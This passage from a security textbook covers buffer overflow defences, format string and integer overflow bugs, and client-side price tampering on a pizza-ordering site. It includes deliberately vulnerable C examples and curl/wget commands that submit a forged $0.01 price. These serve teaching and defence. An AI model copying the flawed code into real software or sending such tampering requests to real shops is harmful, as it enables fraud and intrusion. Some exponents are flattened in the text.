There is also an entire book on buffer overflow attacks, entitled Buffer Overflow Attacks: Detect,
Exploit, Prevent (James Foster et al.).

Buffer overflows are a classic example of how disastrous attacks can occur when input
data—in this case, an attack string—can be used to affect the control of a running program.

6.1.3. The safe_gets() Function
In place of gets(), you can use a function that does check the length of the user input. The
following is a function called safe_gets() that does the trick:

#define EOLN '\n'
void safe_gets (char *input, int max_chars) {

int count = 0;
char next_char;
do {

next_char = getchar();
if (next_char != EOLN)

input[count++] = next_char;
} while ((count < max_chars-1) && (next_char != EOLN));
input[count]=0;

}

The safe_gets() function is called differently than gets(). The gets() function only takes
a buffer as input. The safe_gets() function takes two parameters: a buffer called input, and
max_chars, an integer that specifies the maximum number of characters that the function
should put into the buffer. As safe_gets() adds characters into the input buffer, it continu-
ously checks to make sure it is not writing more characters than the input buffer can hold.

The safe_gets() function has two local variables. The first is count, the current number of
characters that have been input. The other is next_char, a one-byte character that stores the
next character of input. Using a function called getchar(),5 safe_gets() accepts one character
of input at a time, so long as count is less than the maximum number of characters it is allowed
to accept and the user input has not ended yet. The getchar() function returns EOLN (for end of
line) when there is no more user input to accept.

When the do...while loop starts executing, count is less than max_chars-1, and it is safe to
put next_char into the input buffer because you are not going to overrun or overflow the
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5. The getchar() function is a standard C library function like gets(), but it only reads one character of
user input at a time.
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buffer. So long as there is more user input to accept, and count is less than max_chars-1, the
do...while loop continues to execute. The safe_gets() function compares count with
max_chars-1 to leave one space for the null ('\0') character at the end of the string. Should
safe_gets() instead have compared count with max_chars, it would have resulted in an “off-
by-one” error in which the null character could have overwritten one character beyond the
input buffer. If a return address happened to occupy the memory just after the input buffer,
part of it could have been overwritten due to the off-by-one error. Such errors are quite com-
mon and can lead to security vulnerabilities.

As soon as count is equal to max_chars-1, the input buffer is filled up with the maximum
number of characters of input. At that point, the function simply terminates the string with a
null character and returns. The safe_gets() function accomplishes the same thing as the
gets() function, but does not overflow the input buffer with more than max_chars characters.

You can replace the call to the gets() function in the program from Section 6.1.2 with a
call to safe_gets() to eliminate the buffer overflow vulnerability in the checkPassword() func-
tion, as shown in line 5 in the following code:

1 int checkPassword() {
2 char pass[16];
3 bzero(pass, 16); // Initialize
4 printf ("Enter password: ");
5 safe_gets(pass, 16);
6 if (strcmp(pass, "opensesame") == 0)
7 return 1;
8 else
9 return 0;
10 }

The buffer and the length of the buffer are passed as the arguments to safe_gets(). If an
attacker now tries to enter more than 16 characters of input, the first 16 characters are copied
into the pass buffer, and the call to safe_gets() returns. The return address (the pointer to the
main() function) on the stack stays intact. Assuming the attacker does not know the correct
password, the strcmp comparison fails and checkPassword() returns. The stack no longer ends
up getting compromised. By making such a relatively simple change to the program, you are
able to eliminate the possibility of the attacker seizing control of it. Now, only users who enter
the correct password will be able to access the openVault() function.

The gets() function did not check the length of its input, and this is what made the pro-
gram vulnerable to a buffer overflow attack. Unfortunately, there are a lot of other standard
library functions in C that do string processing without checking the lengths of the buffers
that they operate on. These functions assume that the programmer is already doing these
checks somewhere else, and trust the programmer not to make the mistake of forgetting to
do such checks.

Similar functions such as strcpy(), strcat(), sprintf(), and scanf() do not check for
buffer overflows. You should avoid using them directly in your programs. You can write safe
versions of these functions, as with safe_gets(), and use them instead of the standard C
library functions. Alternatively, some of the standard C library functions (such as strncpy(),
strncat(), etc.) are versions that accept buffer lengths, and could help if used properly. For
instance, the fgets() function can accomplish the same thing that you do with safe_gets().
The fgets() function accepts a string buffer and a buffer size as arguments, and does both
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boundary checking and null termination. When using other standard C library functions,
however, strings may not get correctly null terminated, and keeping track of exactly how much
room is left in buffers can get tricky. Also, identifying all occurrences of calls to the standard C
library functions and modifying the code might require a lot of work. In the following subsec-
tions, we describe some additional approaches that can be used to mitigate buffer overflow
vulnerabilities.

While we have illustrated buffer overflow vulnerabilities in C, you might be wondering if
programs in other languages, such as C++ and Java, might be vulnerable. The short answer is
that in any language that is complied, the compiler usually does not do (and is not capable of
doing) the checking required to identify potential buffer overflows and remedy the situation.
In programming languages that are interpreted, sometimes the interpreter does provide such
checking at runtime.

What about Java and C#? Java and C# are compiled as well as interpreted. Java and C#
programs are compiled into a “bytecode” or “common language” that is interpreted at run-
time. A Java or CLR (Common Language Runtime) interpreter will enforce type safety and
check for incorrect accesses, overflows of buffers, and code that runs past the bounds of an
array.6 In Java or C#, you do not typically have to worry about buffer overflow vulnerabilities
because the interpreter does such checking for you, and will raise an exception if a buffer is
overrun or overflowed. If that occurs, your program may crash (assuming that you do not
catch the exception), but at least an attacker will not be able to take control of the machine
that your program is running on. At the same time, just because you write programs in Java
or C# does not mean that you do not need to worry about security. After all, the SimpleWeb-
Server that you studied in Chapters 2 and 3 was written in Java, but contained many other
security vulnerabilities besides buffer overflows.

6.2. Safe String Libraries
If you do write code in C, do you have to rewrite all of your code so that it can handle string
manipulation in a safe way? The answer is yes and no. You may have to modify your code to
use safe string manipulation functions. However, you probably do not have to rewrite all of
the string manipulation functions in the standard C library, because there are a number of
projects that have done some of that rewriting already. Microsoft’s StrSafe (Howard 2002) and
Messier and Viega’s SafeStr (Messier and Viega 2005) automatically do the bounds checking
and guaranteed null character termination that helps avoid buffer overflow vulnerabilities.
One thing to watch out for, though, is that the semantics of the corresponding functions (how
they work) in StrSafe or SafeStr might differ slightly from the functions in the standard C
library, and rewriting your code probably will not simply involve just replacing function
names. It should also be noted that even when using safe string libraries, buffer overflows are
still possible if you pass the wrong buffer size to a function. Also, of course, if you manually
attempt to do string operations with pointers, that may be an additional source of potential
vulnerabilities.
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up your program to vulnerabilities.
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If you write code in C++, but are still using standard C library functions, you have the
option of instead using the string class in the C++ Standard Template Library (STL), or using
another C++ string library. String handling classes in such libraries enforce type safety. As part
of type safety, such classes keep track of how much memory they have allocated, and make
sure that they don’t write beyond the allotted space. STL strings are an example of a useful
design pattern in which tricky parts of memory management and type safe checks are
enforced by the classes that implement them. The STL string class effectively serves as a
choke point that wraps calls to string operations.

In any case, you will have to go through all of your code to figure out where the appropri-
ate string manipulation calls are, and replace all the function calls to the standard C library
with calls to a safe string library.

Y2K AND BUFFER OVERFLOWS

To an extent, the work involved in rooting out buffer overflows is somewhat like the year 2000 (Y2K) problem,
in which programmers had to go through tons of old code looking for places in which dates were handled, in
search of cases in which the dates were assumed to only have two digits. That code needed to be rewritten
before the year 2000 occurred to prevent computer systems from interpreting the year 2000 as the year
1900. Such bugs might have plagued many functioning systems that people relied on.

In the case of eliminating buffer overflow vulnerabilities, programmers need to go through their code
and look for unsafe string handling. Unfortunately, however, there is no hard-and-fast “deadline” that this
needs to be done by! There may be many latent, unexploited buffer overflow vulnerabilities in a code base,
and day-by-day, the risk that an attacker might try to take advantage of one of them may increase.

6.3. Additional Approaches
Going through and rewriting all your string manipulation code might be a lot of work, and you
might be wondering if there is some way around it. Rewriting your code might be a reasonable
approach, but it might introduce new bugs or not handle all of the existing bugs correctly.
There are some additional solutions that can help you insulate your code against many (but
not all) types of buffer overflow attacks in a quicker way.

6.3.1. StackGuard
StackGuard is a compiler technique developed by Crispin Cowan. StackGuard inserts a
“canary” just before the return address on the stack, and some additional code that checks
that the canary is not corrupted just before a function returns. Microsoft has also incorporated
a similar canary-like feature in its C++ compiler, which can be enabled by compiling with a
/GS flag on the compiler’s command line.
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CANARIES

The name “canary” comes from how the birds were historically used in coal mines. Coal mines did not
always have breathable air, and, if it was not for canaries, coal miners would be subject to methane, carbon
monoxide, and even explosions. By sending canaries into coal mines first, and observing whether the
canaries died, coal miners could determine if it was safe for them to enter. In a similar fashion, by placing a
canary value just before the return address, a program can look at the canary value to determine if it is safe
to jump to the return address. If some potentially malicious user input overwrote and corrupted the canary, it
would clearly not be safe to jump to the return address.

The StackGuard canary approach only works, of course, if the attacker cannot predict
what the canary will be. If the canary were a fixed value, the attacker could simply rewrite the
fixed value, and follow it by the return address of his choice. Instead, the canary value is cho-
sen to be a random value, unpredictable to an attacker.

If the canary has been modified, then it means that an attacker might be trying to over-
flow a buffer. In response to a corrupt canary, the code could halt the program to prevent an
attacker from gaining control of the program. While StackGuard-type approaches help deal
with some types of buffer overflow attacks, the protection they offer is not comprehensive.
For more details, see “Bypassing StackGuard and StackShield,” by Bulba and Kil3r.

6.3.2. Static Analysis Tools
There are alternative approaches and tools that can be used to find buffer overflows (as well as
other security bugs). Static analysis is one such approach.

Static analysis is a type of analysis that can be done to programs without running them.
With respect to security, there are various types of checks that are interesting for a static analy-
sis tool to conduct. For instance, when a function receives input from a caller, that input can
be considered “tainted” until it is checked (to make sure that it is not null, or that it has been
sanitized by a “check” function prior to further use).

Very often, compilers have all the mechanisms required to do such checks, but do not
have the specific knowledge of what types of static analysis checks make sense for an applica-
tion. Dawson Engler’s research group at Stanford University identified the opportunity to do
meta-level compilation, in which compilers can be extended with declarations that give them
such knowledge, and can be used to find security as well as other types of bugs (Engler et al.
2000). Meta-level compilation can also detect frequent patterns and idioms used in code, and
report a warning or error when some anomalous part of the code does not follow the pattern,
possibly indicating a bug. Synchronization and memory bugs, in addition to security bugs,
can be found using static analysis.

Companies such as Coverity (www.coverity.com),7 Fortify (www.fortifysoftware.com),
Ounce Labs (www.ouncelabs.com), and Klocwork (www.klocwork.com) build static analysis and
other tools that allow you to scan through your code to identify security and other types of
bugs. It is worthwhile to use them, since such tools have successfully found many bugs in OS
and application code that has been tested, reviewed, and deployed. For instance, the Coverity
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static analyzer found bugs in various Linux device drivers even though the code for those driv-
ers was available to the open source community for quite some time (Joris 2005; Lemos 2004).

6.4. Performance
Using the buffer overflow–mitigation techniques we discussed incurs a relatively small per-
formance cost. String manipulation functions that do additional checking may take slightly
longer to execute than corresponding functions that do not do such checking. StackGuard
requires the canary to be checked upon returning from a function, and adds a small amount
of overhead. However, the performance impact of all of these approaches is usually a small
price to pay to ensure that an attacker cannot take control of your software!

6.5. Heap-Based Overflows
This chapter has so far focused on stack-based buffer overflows. Stack-based overflows are
buffer overflows in which the attacker overwrites memory on the program stack. Alternatively,
in a heap-based buffer overflow, an attacker can overwrite buffers that are stored on the heap.
Whenever malloc() or its relatives are called in C to allocate memory, a fixed-size buffer allo-
cated on the heap is returned. While such buffers can be reallocated to be larger in size, a
call to a function such as realloc() must take place. Between the time that malloc() and
realloc() are called, the buffer is of a fixed size. During that time, an attacker can attempt to
feed user input into that buffer and overwrite data on the heap that is adjacent to the buffer.
Of course, exactly what data is adjacent to the buffer on the heap is a bit less predictable than
in the case of stack-based overflows—but such techniques are nonetheless used by hackers.

Heap-based buffer overflows can be prevented in the same way that stack-based buffer
overflows can be—in both cases, it is critical that memory is not written to beyond the bounds
of a buffer. If malicious inputs can find their way into unexpected places of memory and mod-
ify the control path of your program, it may be “game over.” Buffer overflows are only one way
that an attacker can take control of your program. The following chapters explore other attacks
in which malicious input can influence the control flow of a program without overflowing a
buffer.

6.6. Other Memory Corruption Vulnerabilities
The buffer overflow vulnerabilities that we have discussed in this chapter are an example of,
more generally, memory corruption vulnerabilities. In a memory corruption vulnerability, the
attacker takes advantage of a programmer’s error in memory management.

To illustrate two other types of memory corruption vulnerabilities, we briefly consider
format string vulnerabilities and integer overflows. Format string and integer overflow vulner-
abilities can be used to accomplish a variety of attacks, from crashing a program to taking full
control of it.

Since much of this chapter is about buffer overflow vulnerabilities, we show how format
strings and integer overflow vulnerabilities can be used to overflow buffers. However, format
strings and integer overflows can be used to conduct many other types of attacks as well.
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6.6.1. Format String Vulnerabilities
A format string is a string used in C that specifies how text should be formatted for output. For
instance, the following code can be used to print out a formatted error message:

void format_warning (char *buffer, char *username, char *message) {
sprintf (buffer, "Warning:  %10s -- %8s", message, username);

}

The %10s in the sprintf statement is called a format specifier. In particular, it specifies
that it should be replaced with a ten-character string that is right justified. That is, if there are
fewer than ten characters in the string, the left will be padded with blank spaces. However, if
there are more than ten characters, they are all written into the string. As you may have already
guessed, the characters are written into the string without any checking as to whether the
buffer can accommodate those characters. In the preceding example, if the buffer is 32 bytes,
and either the message or username variables are greater than ten and eight characters, respec-
tively, a buffer overflow can occur. For example, if the attacker controls the username string,
she can insert shellcode or a return address of her choice into it, and choose its length such
that it overwrites the return address of the function.

There are a lot more tricks as to how format strings can be used to exploit programs. You
are encouraged to read “Exploiting Format String Vulnerabilities,” by scut/team teso.

6.6.2. Integer Overflows
In many programming languages, variables with an integer data type can store numbers
within a certain range. For example, a signed two-byte integer can store values between
–32768 and 32767.

An integer overflow vulnerability is one in which out-of-range values specified for an inte-
ger “wrap around,” resulting in situations a programmer does not expect or check for—which
gives an attacker the opportunity to alter the normal course of execution of a program. For
instance, if you try to assign a value of 32768 to a two-byte signed integer, the integer will take
on the value –32768.

To show how integer overflows can cause security vulnerabilities, consider the following
formatStr() function:

1 /* Writes str to buffer with offset characters of blank spaces
2 preceding str. */
3 void formatStr(char *buffer, int buflen,
4 int offset, char *str, int slen) {
5 char message[slen+offset];
6 int i;
7
8 /* Write blank spaces */
9 for (i = 0; i < offset; i++)
10 message[i] = ' ';
11
12 strncpy(message+offset, str, slen);
13     strncpy(buffer, message, buflen);
14 message[buflen-1] = 0; /* Null terminate */
15 }
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The goal of the function is to copy the characters in str to buffer, with offset blank
spaces before the contents of str. The implementation seems reasonable enough, although
perhaps not the most efficient. The message variable is allocated with enough space to store
str and the number of offset characters requested. The blank spaces are written into message
first, via the for loop in lines 9 and 10. Then, str is copied into message immediately after the
blank spaces in line 12. The strncpy() function is used as good practice to make sure that no
more than slen characters are written—but its use is moot, as message is allocated to have
enough space. In line 13, strncpy() is used again to copy the local variable message into the
buffer supplied by the caller, and this time, use of strncpy() is essential, as there is no guaran-
tee that it has enough space to hold message. In addition, to cover the case in which buffer is
not long enough, line 14 explicitly null terminates message, since strncpy() does not guaran-
tee that it will do so.

While the implementation of formatStr() seems correct, it does have an integer overflow
vulnerability. If an attacker can influence the value of offset, he can take control of the pro-
gram. If he can pass a value of offset that is larger than what an int can hold, it will wrap
around. For instance, if offset is a four-byte integer that can hold values between –232 and 232

– 1, and the attacker specifies 232 as the value of offset, it will wrap around to be negative. If
offset is negative, in line 12 str will overwrite the bounds of the message buffer. With a proper
choice of offset, the attacker will be able to write to arbitrary addresses on the heap!

In summary, while buffer overflows present one type of memory corruption vulnerability,
format string and integer overflow vulnerabilities are other types of memory corruption vul-
nerabilities that not only can be used to induce buffer overflows, but can be exploited to
induce other types of security vulnerabilities as well.
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Client-State Manipulation

This chapter describes an additional type of attack that can occur due to unvalidated input:
client-state manipulation.

In a web application, web clients (or browsers) make requests to web servers to access
web pages. Web servers often invoke additional programs to help them construct the web
pages that they send to clients. These additional programs are collectively referred to as a
web application.

Web applications often accept input from their users. To be secure, web applications
should not trust clients, and should validate all input received from clients. 

The protocol that web clients and web servers use to communicate, HTTP, is stateless—
web servers are not required to implicitly keep track of any state, or information, about their
clients. Since HTTP was originally developed to just serve documents, a web client requests a
document and the web server (possibly with the help of a web application) provides it. How-
ever, to conduct transactions (such as online purchases and funds transfers), a web applica-
tion may have to receive input from and serve more than one document to a particular client.
To keep track of which client is which while serving multiple clients at a time, a web server
application can provide state information about a transaction to a client, which the client may
echo back to the server in later requests. The echoed state information is input that the server
receives as part of the HTTP request from the client.

In an example that follows, we illustrate a vulnerability that can exist if a web server does
not validate such input itself. In our example, the web server uses “hidden” values in HTML
forms to store sensitive information.

Hidden values in HTML forms are not directly shown to the user in the web browser’s
graphical user interface (GUI). However, you will see that these hidden values can be easily
manipulated by malicious clients. You will learn that data submitted from hidden form fields
should be considered input and validated just like all other input, even though the server typi-
cally generates information that is stored in hidden form fields.
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7.1. Pizza Delivery Web Site Example
In our example, a user places an order for a pizza from a web site. Once the order is complete,
a delivery person is dispatched by the web site to deliver the pizza to the user. There are three
major steps that take place in our example pizza ordering application.1 These steps are shown
in Figure 7-1, and are described following:

1. Order: A user requests an order.html file from the web server, which contains an order
form. The order form allows the user to choose the number of pizzas she wants to buy
and input her credit card details to pay for the pizza. The order form is processed by a
confirm_order script on the web server. Assume the user wants to buy one pizza that
costs $5.50.

2. Confirmation: In this step, the user confirms the purchase. The user’s web browser
receives an HTML form generated by the confirm_order script on the web server,
which states the cost of the pizza as $5.50 and presents the user with buttons to either
proceed with or cancel the transaction. The following code shows the HTML form that
is used to confirm the purchase:

1 <HTML>
2 <HEAD>
3 <TITLE>Pay for Pizza</TITLE>
4 </HEAD>
5 <BODY>
6 <FORM ACTION="submit_order" METHOD="GET">
7 The total cost is 5.50.
8 Are you sure you would like to order?
9 <INPUT TYPE="hidden" NAME="price" VALUE="5.50">
10 <INPUT TYPE="submit" NAME ="pay" VALUE="yes">
11 <INPUT TYPE="submit" NAME ="pay" VALUE="no">
12 </BODY>
13 </HTML>

Figure 7-2 shows how the browser displays this HTML form to the user. The title field
in line 3 of the HTML is displayed in the title bar of the browser. The text “The total
cost is $5.50. Are you sure you would like to order?” in lines 7 and 8 is displayed as is to
the user. The hidden form field in line 9 that the server uses to store the price of the
transaction is not displayed to the user. The remaining form fields are displayed as
buttons labeled “yes” or “no,” which the user can click to confirm or cancel the trans-
action. Since both these buttons are of type submit, the browser will issue an HTTP
request such as the following when the user clicks on one of these buttons:

GET /submit_order?price=5.50&pay=yes HTTP/1.0

If the user clicks the “yes” button, the preceding HTTP request is issued.
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3. Fulfillment: Once the web server receives the HTTP request, it then sends a request to
a credit card payment gateway to charge $5.50. Once the credit card payment gateway
accepts the charge, the web server can dispatch the delivery person. Pseudocode for
the actions the server conducts in the submit_order script is shown here:

1 if (pay = yes) {
2 success = authorize_credit_card_charge(price);
3 if (success) {
4 settle_transaction(price);
5 dispatch_delivery_person();
6 }
7 else {
8 // Could not authorize card
9 tell_user_card_declined();
10      }
11 }
12 else {
13      // pay = no
14      display_transaction_cancelled_page();
15 }

In the preceding pseudocode, the variables pay and price are retrieved from the HTTP
request.

The submit_order program first checks if the user clicked the “yes” button, indicating that
she would like to purchase the pizza. If so, it attempts to authorize a credit card transaction for
price dollars. If the authorization is successful, it settles the transaction with the credit card
company and dispatches a pizza delivery person. If the credit card authorization does not
succeed, the program aborts the transaction.

Figure 7-1. Transaction flow
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The preceding is an overview of the “normal” interaction that occurs between the user’s
browser and the web server (also depicted in Figure 7-1). Due to the way that the submit_order
code is written, an attacker will be able to purchase the pizza for a price of her choice instead
of $5.50. We show how shortly.

Note that we are presenting a “toy” example here, in which we have left out many details.
For example, the web site would need to have the user input her street address so that it knows
where to send the pizza! In addition, the quantity and selection of toppings would also need to
be chosen. These parameters could be included on the order form and stored as additional
hidden form variables in the confirmation form.

7.1.1. Attack Scenario
Let’s consider a scenario in which an attacker wants to order a pizza for $0.01 instead of $5.50.
In the confirmation step of the transaction flow just described, the server sends back a page
to the client with the computed total price for the pizza(s), and asks the user to confirm the
transaction. 

Figure 7-2. Confirmation form

The user can view the HTML source code that makes up the order confirmation form by
selecting View | Source in the browser’s menu bar.

Let’s take a closer look at the HTML source code for the order confirmation form, which
we repeat here for convenience:

1 <HTML>
2 <HEAD>
3 <TITLE>Pay for Pizza</TITLE>
4 </HEAD>
5 <BODY>
6 <FORM ACTION="submit_order" METHOD="GET">
7 The total cost is 5.50.
8 Are you sure you would like to order?
9 <INPUT TYPE="hidden" NAME="price" VALUE="5.50">
10 <INPUT TYPE="submit" NAME ="pay" VALUE="yes">
11 <INPUT TYPE="submit" NAME ="pay" VALUE="no">
12 </BODY>
13 </HTML>

In response to clicking either “yes” or “no” in the order confirmation form, a submit_order
program will be run on the web server, as per the action attribute in the form tag in line 6 in
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the preceding code. The order confirmation form tells the user “The total cost is $5.50,” and
asks the user “Are you sure you would like to order?” This text can be seen in the HTML source
just below the form tag. Below that is a “hidden” HTML form field that has a name price and a
value of 5.50, the total cost of the transaction. While the “hidden” form field is not shown on
the browser user interface in Figure 7-2, it can easily be seen by viewing the HTML source
code.

In this example, the server is storing the price of the transaction in the form sent to the
client. Even worse, it is trusting the client with the price of the transaction. After the user clicks
“yes” or “no,” the user’s response is recorded by a pay variable, and the price variable with a
corresponding value is sent back to the server. To change the value of the transaction, the
attacker can view the source code of the HTML form in a text editor, and change the value in
the hidden form field from 5.50 to 0.01. An attacker could simply save the modified HTML to
disk, reopen it with a browser, and submit the form with the modified price to the server!

When the attacker clicks “yes” in the reopened HTML page, the HTTP request that is con-
structed based on the manipulated form is for the $0.01 transaction instead of the correct
price of $5.50.

The HTTP request that is sent to the server looks like the following:2

GET /submit_order?price=0.01&pay=yes HTTP/1.0

The submit_order program simply retrieves the $0.01 price from the HTTP request, and
authorizes a credit card charge of $0.01 prior to delivering the pizza!

To summarize, hidden form fields are only visually hidden from the user, but are effec-
tively sent “in the clear” from a security standpoint. As such, they can be easily accessed and
manipulated by malicious clients.

In this particular case, we have shown how the attacker can use the browser and a text
editor to send an HTTP request with an altered price. However, there is no reason that an
attacker needs to use a browser or text editor to place HTTP requests to buy pizzas. In fact, if
the attacker did not want to order just one pizza for herself, but wanted to order pizzas for all
her friends, using a browser and text editor to generate the HTTP requests might be quite
tedious. Instead, the attacker could use tools such as curl (http://curl.haxx.se) or Wget
(www.gnu.org/software/wget) to do so. These are open source, command-line tools that can
be used to generate HTTP and other types of requests in an automated fashion. For instance,
the preceding HTTP request could be automatically generated by issuing the following
command:

curl https://www.deliver-me-pizza.com/submit_order?price=0.01&pay=yes

A similar HTTP request can be generated with Wget. Thus far, we have used GET HTTP
requests, but switching to POST would not help very much. The attacker could still save the
HTML for the form to disk, edit hidden values, and submit the form. In addition, the attacker
could still use tools like curl and Wget to submit malicious requests. POST parameters can be
submitted as follows using curl:

curl -dprice=0.01 -dpay=yes https://www.deliver-me-pizza.com/submit_order
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Wget can also submit POST parameters as follows:

wget --post-data 'price=0.01&pay=yes' https://www.deliver-me-pizza.com/submit_order

Note that the attacker does not have to traverse through the order or confirmation web
pages to issue the HTTP request to purchase the pizzas.

The big problem here is that there is no reason that the web server should trust any of its
clients. By sending the transaction state back to the client in response to the order and confir-
mation forms, it gives the client the ability to tamper with that state.

There are a variety of possible solutions to this problem—we will discuss two of them. The
first solution involves keeping an authoritative copy of the session state in a database at the
server. The second solution involves sending the authoritative state back to the client, but
with a “signature” that will alert the server to any potential tampering with the state.

7.1.2. Solution 1: Authoritative State Stays at Server
In this solution, the price of the transaction is not sent back to the client. Instead, a session
identifier, the session-id, is sent to the client, and the server keeps a table of session-ids and
the corresponding prices for client transactions. In response to filling out an order form, the
server randomly generates a new 128-bit session-id, and sends it back as a hidden field in the
confirmation form, as follows:

<HTML>
<HEAD>
<TITLE>Pay for Pizza</TITLE>
</HEAD>
<BODY>
<FORM ACTION="submit_order" METHOD="GET">
The total cost is 5.50.
Are you sure you would like to order?
<INPUT TYPE="hidden" NAME="session-id"

VALUE="3927a837e947df203784d309c8372b8e">
<INPUT TYPE="submit" NAME ="pay" VALUE="yes">
<INPUT TYPE="submit" NAME ="pay" VALUE="no">
</BODY>
</HTML>

In the preceding HTML form, the session-id is 3927a837e947df203784d309c8372b8e. Note
that the price is not in the form. Instead, the server inserts the session-id and price into a
database, as shown in Table 7-1.

Table 7-1. Session-Id/Price Table

Session-Id Price

3927a837e947df203784d309c8372b8e 5.50

When the client submits the form, the following HTTP request arrives at the server:

GET /submit_order?session-id=3927a837e947df203784d309c8372b8e&pay=yes HTTP/1.0
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The server now uses the following algorithm in the submit_order script to determine the
price and conduct the transaction:

1 if (pay = yes) {
2 price = lookup(session-id);
3 if (price != NULL) {
4 success = authorize_credit_card_charge(price);
5 if (success) {
6 settle_transaction(price);
7 dispatch_delivery_person();
8 }
9 else {
10 // Could not authorize card
11 tell_user_card_declined();
12           }
13      }
14      else {
15 // Cannot find session
16 display_transaction_cancelled_page();
17           log_client_IP_and_info();
18      }
19 }
20 else {
21      // pay = no
22 display_transaction_cancelled_page();
23 }

If the user clicks “yes,” then the server looks up the session-id in the database in line 2. If
the session-id is present in the database, then the corresponding price will be returned.

The price never leaves the server, and the client does not have the opportunity to alter it.
The database table stores the authoritative state, and the session-id effectively serves as a
“pointer” to the client’s state.

If for any reason the session-id is not present in the database, lookup() returns NULL, and
the transaction is cancelled, just as if the user had clicked “no.” Then, the client’s IP address,
and any other “forensic” information that appears in the HTTP request, is logged. The cause of
the missing session-id might be benign, but if you see a large number of requests with invalid
session-ids, it may be an indication that an attacker is at play trying to guess a valid session-id.

In this solution, it is important for the session-id to be difficult for an attacker to guess. If
an attacker were able to guess valid session-ids, he might be able to manipulate the state of a
transaction. In our simple example, the attacker could, for instance, issue HTTP requests for
session-ids with pay=yes even though the client may have wanted to cancel the transaction.
Also, in a real application, some additional state that might need to be kept in the database
includes the customer’s address, the quantity of pizzas, the user’s credit card number, and
other transaction details. If the attacker could guess session-ids, he may be able to modify an
existing order to include additional pizzas to be sent to his address, but have the legitimate
customer’s credit card charged for the transaction! By choosing a 128-bit randomly generated
session-id, you limit the attacker’s probability of success to n / 2128, where n is the number of
session-ids in the server’s database.
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To further minimize the ability of the attacker to guess session-ids, you can have session-
ids “timeout,” or expire after some time period. For instance, you might decide that anyone
who starts ordering a pizza should be able to complete their order within a k-minute period
(even if they happen to be very indecisive between choosing anchovies or pineapples for top-
pings). If the user does not complete the order in k minutes, you have the right to just forget
about their order. You could add an additional column to the database table that records the
date and time when the session-id was created. When an HTTP request with a session-id is
received, you can check to see if the session-id is more than k minutes old. If it is, you erase all
the state associated with that session-id before processing the client’s request, and/or require
that client use a new session-id. Now, the probability that an attacker will be able to guess a
valid client ID (that has not expired) is nk / 2128, where nk is the number of clients that issued
HTTP requests in the last k minutes. The only remaining problem is that lots of session-ids
might sit around in your database for a long time until they happen to get used again. To deal
with this problem, you can periodically (once every few minutes) clear out all the expired
session-ids.

Another technique that can be used to make it even harder for attackers to use guessed
session-ids is to have the session-id be the “hash” of a pseudo-random number and the IP
address that the web server reports the client is connected from. (See Chapters 14 and 15 for a
discussion of pseudo-random numbers and hash functions, respectively.) If you use this tech-
nique, an attacker not only needs to guess a valid session-id, but also needs to spoof the IP
address of the client in order to use the session-id.

The process by which session-ids are provided to clients, associated with state, verified,
and invalidated is often referred to as session management. Doing session management cor-
rectly and securely is challenging. We have only discussed the very basic ideas here. It is
typically best to reuse existing session management code in web application frameworks
such as Java Servlets/JSP (http://java.sun.com/products/jsp/docs.html) (Jorelid 2001) or
ASP (Homer and Sussman 2003). Nevertheless, there have been attacks published against
the session management functionality in some of these frameworks as well (Gutterman and
Malkhi 2005).

By storing authoritative state in a database and never giving the client access to it, you
can thwart client-state manipulation attacks. The downside of using a database is that your
server-side infrastructure is no longer stateless. Every time an HTTP request arrives at your
web server, a database lookup needs to be done, and could turn the database into a perform-
ance bottleneck. In addition, if the database lookup takes nontrivial computational resources,
an attacker could issue many such requests with random session-ids as part of a DoS attack.
The server would be forced to look up each of the session-ids to determine if the request is
from a legitimate user, but the act of doing the lookups could overload the server and prevent
it from responding to legitimate clients. To deal with this bottleneck, the database can be dis-
tributed and HTTP requests can be load balanced across distributed database servers.

7.1.3. Solution 2: Signed State Sent to Client
We now outline another solution in which the server can continue to be stateless. In this solu-
tion, the authoritative state is returned to the client—but to prevent a client from tampering
with the state, a “signature” is also sent to the client with the transaction state. If the client
attempts to alter the state, the signature will no longer match, and the server will disregard the
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client’s request. In our solution, the server possesses a cryptographic key known only to it that
it uses to produce the signature. The client will not be able produce modified signatures to
match the altered state, because it does not know the server’s key.

When a client fills out an order form, the server sends back a form that includes all the
parameters of the transaction (including the price) and a signature:

1 <HTML>
2 <HEAD>
3 <TITLE>Pay for Pizza</TITLE>
4 </HEAD>
5 <BODY>
6 <FORM ACTION="submit_order" METHOD="GET">
7 The total cost is 5.50.
8 Are you sure you would like to order?
9 <INPUT TYPE="hidden" NAME="item-id" VALUE="1384634">
10 <INPUT TYPE="hidden" NAME="qty" VALUE="1">
11 <INPUT TYPE="hidden" NAME="address"
12 VALUE="123 Main St, Stanford, CA">
13 <INPUT TYPE="hidden" NAME="credit_card_no"
14        VALUE="5555 1234 4321 9876">
15 <INPUT TYPE="hidden" NAME="exp_date" VALUE="1/2012">
16 <INPUT TYPE="hidden" NAME="price" VALUE="5.50">
17 <INPUT TYPE="hidden" NAME="signature"
18 VALUE="a2a30984f302c843284e9372438b33d2">
19 <INPUT TYPE="submit" NAME ="pay" VALUE="yes">
20 <INPUT TYPE="submit" NAME ="pay" VALUE="no">
21 </BODY>
22 </HTML>

This form has more data than the previous one, and we have added this data because it is
more essential to the solution. The signature in line 18 was generated by computing a message
authentication code (MAC) over all the other parameters of the transaction, including the
item-id, quantity, address, credit card number, expiration date, and price. The MAC is also a
function of a cryptographic key only known to the server. (MACs were introduced in Section 1.5,
and are covered in more detail in Section 15.2.) If the client attempts to change the price or
any of the other parameters, the client will not be able to recompute a corresponding signa-
ture because it does not know the key.

After the client submits the form, the server uses the following algorithm to process the
client’s request:3

1 if (pay = yes) {
2 // Aggregate transaction state parameters
3 // Note: | is the concatenation operator
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4 // and # is a delimiter.
5 state = item-id | # | qty | # | address | # |
6 credit_card_no | # | exp_date | # | price;
7
8 // Compute message authentication code with
9 // server key K.
10      signature_check = MAC(K, state);
11 if (signature == signature_check) {
12 success = authorize_credit_card_charge(price);
13           if (success) {
14 settle_transaction(price);
15 dispatch_delivery_person();
16           }
17           else {
18 // Could not authorize card
19 tell_user_card_declined();
20           }
21      }
22      else {
23 // Invalid signature
24 display_transaction_cancelled_page();
25           log_client_IP_and_info();
26      }
27 }
28 else {
29 display_transaction_cancelled_page();
30 }

If the user clicks “yes” when asked to confirm the transaction, the server first verifies the
signature. The signature is verified by computing signature_check. The algorithm concate-
nates all the relevant pieces of state information into state. Then, it computes the MAC over
the state using the server’s key. If signature_check matches the signature provided in the
HTTP request, then the request has not been tampered with, and the algorithm proceeds with
credit card authorization. If the signature_check does not match the signature provided in
the HTTP request, then the client may have tried to alter one or more of the parameters. Even
